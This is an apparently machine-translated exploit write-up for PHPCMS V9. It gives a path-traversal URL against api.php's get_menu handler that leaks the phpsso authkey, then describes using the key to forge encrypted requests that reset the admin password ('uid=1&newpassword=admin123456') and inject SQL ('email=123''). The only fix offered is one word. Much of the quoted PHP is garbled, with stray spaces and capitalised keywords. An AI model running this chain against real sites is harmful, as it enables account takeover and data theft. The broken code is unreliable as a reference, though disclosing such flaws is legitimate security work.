PHPCMS Latest Version authkey leakage can take shell Injection
Authkey leakage can cause a series of security problems
PHPCMS V9 a free-of-charge Vulnerability (http://www.bkjia.com/Article/201409/336420.html)
You can refer to this article. The author of this article has such a point.
public function getapplist() {$applist = getcache('applist', 'admin');exit(serialize($applist));}
The vendor did not directly ignore it, but fixed it by itself (not commented ).
public function getapplist() {$applist = getcache('applist', 'admin');foreach($applist as $key=>$value){unset($applist[$key]['authkey']);}exit(serialize($applist));
It seems that the vendor does not think this is a hole. Well, there will certainly be other points. Since we do not pay attention to this point, let's look at \ api \ get_menu.php:
function ajax_getlist() {$cachefile = $_GET['cachefile'];$cachefile = str_replace(array('/', '//'), '', $cachefile);//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);$path = $_GET['path'];$path = str_replace(array('/', '//'), '', $path);//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);$title = $_GET['title'];$key = $_GET['key'];$infos = getcache($cachefile,$path);$where_id = intval($_GET['parentid']);$parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);foreach($infos AS $k=>$v) {if($v['parentid'] == $where_id) {if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);}}if(count($s)>0) {$jsonstr = json_encode($s);echo trim_script($_GET['callback']).'(',$jsonstr,')';exit;} else {echo trim_script($_GET['callback']).'()';exit;}}
The getcache parameters are controllable. And the backslash is not filtered. Construct a proper access link to access the configuration file in the cache folder and read the content.
So what will this link supervise?
http://www.test.org/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
However, the vendor will ignore this. Let's see how to use the authkey.
The following functions are included in \ phpsso_server \ phpcms \ modules \ phpsso \ index. php:
Public function edit () {$ this-> email = isset ($ this-> data ['email '])? $ This-> data ['email ']: ''; $ this-> uid = isset ($ this-> data ['uid'])? $ This-> data ['uid']: ''; $ userinfo = $ this-> getuserinfo (1 ); if (isset ($ this-> data ['Password']) &! Empty ($ this-> data ['Password']) {$ this-> password = create_password ($ this-> data ['Password'], $ userinfo ['random ']);} $ this-> random =! Empty ($ this-> data ['random '])? $ This-> data ['random ']: $ userinfo ['random']; if (isset ($ this-> data ['newpassword']) &! Empty ($ this-> data ['newpassword']) {$ this-> newpassword = create_password ($ this-> data ['newpassword'], $ this-> random);} if ($ userinfo =-1) {exit ('-1');} if (isset ($ this-> password )&&! Empty ($ this-> password) & $ userinfo ['Password']! = $ This-> password) {exit ('-2');} if ($ this-> email & $ userinfo ['email']! = $ This-> email) {if ($ this-> checkemail (1) =-1) exit ('-3') ;}$ data = array (); $ data ['appname'] = $ this-> applist [$ this-> appid] ['name']; if (! Empty ($ this-> email) & $ userinfo ['email ']! = $ This-> email) {$ data ['email '] = $ this-> email;} if (isset ($ this-> newpassword) & $ userinfo ['Password']! = $ This-> newpassword) {$ data ['Password'] = $ this-> newpassword; $ data ['random '] = $ this-> random;} if (! Empty ($ data) {// ucenter part if ($ this-> config ['ucuse']) {pc_base: load_config ('uc _ config'); require_once PHPCMS_PATH. 'api/uc_client/client. php '; $ r = uc_user_edit ($ userinfo ['username'], '', (isset ($ this-> data ['newpassword']) &! Empty ($ this-> data ['newpassword'])? $ This-> data ['newpassword']: ''), $ data ['email '], 1); if ($ r! = 1) {// {-1: the user does not exist;-2: The old password is incorrect;-3: The email already exists; 1: Successful; 0: not modified} switch ($ r) {case '-1': exit ('-2'); break; case '0': case '-4 ': case '-5': case'-6': case '-7': case'-8': exit ('0'); break ;}}} if (empty ($ data ['email ']) unset ($ data ['email']);/* Insert Message Queue */$ noticedata = $ data; $ noticedata ['uid'] = $ userinfo ['uid']; messagequeue: add ('Member _ edit', $ noticedata); if ($ this-> username) {$ res = $ this-> db-> update ($ data, array ('username' => $ this-> username ));} else {$ res = $ this-> db-> update ($ data, array ('uid' => $ this-> uid ));} exit ("$ res") ;}else {exit ('0 ');}}
There are database operations, which should be used for password change. Let's construct a data, before encryption:
uid=1&newpassword=admin123456
Use the authkey and the encryption and decryption functions provided by cms to encrypt the data. In addition to changing the password, injection can also be performed.
uid=1&email=123'
Solution:
Filter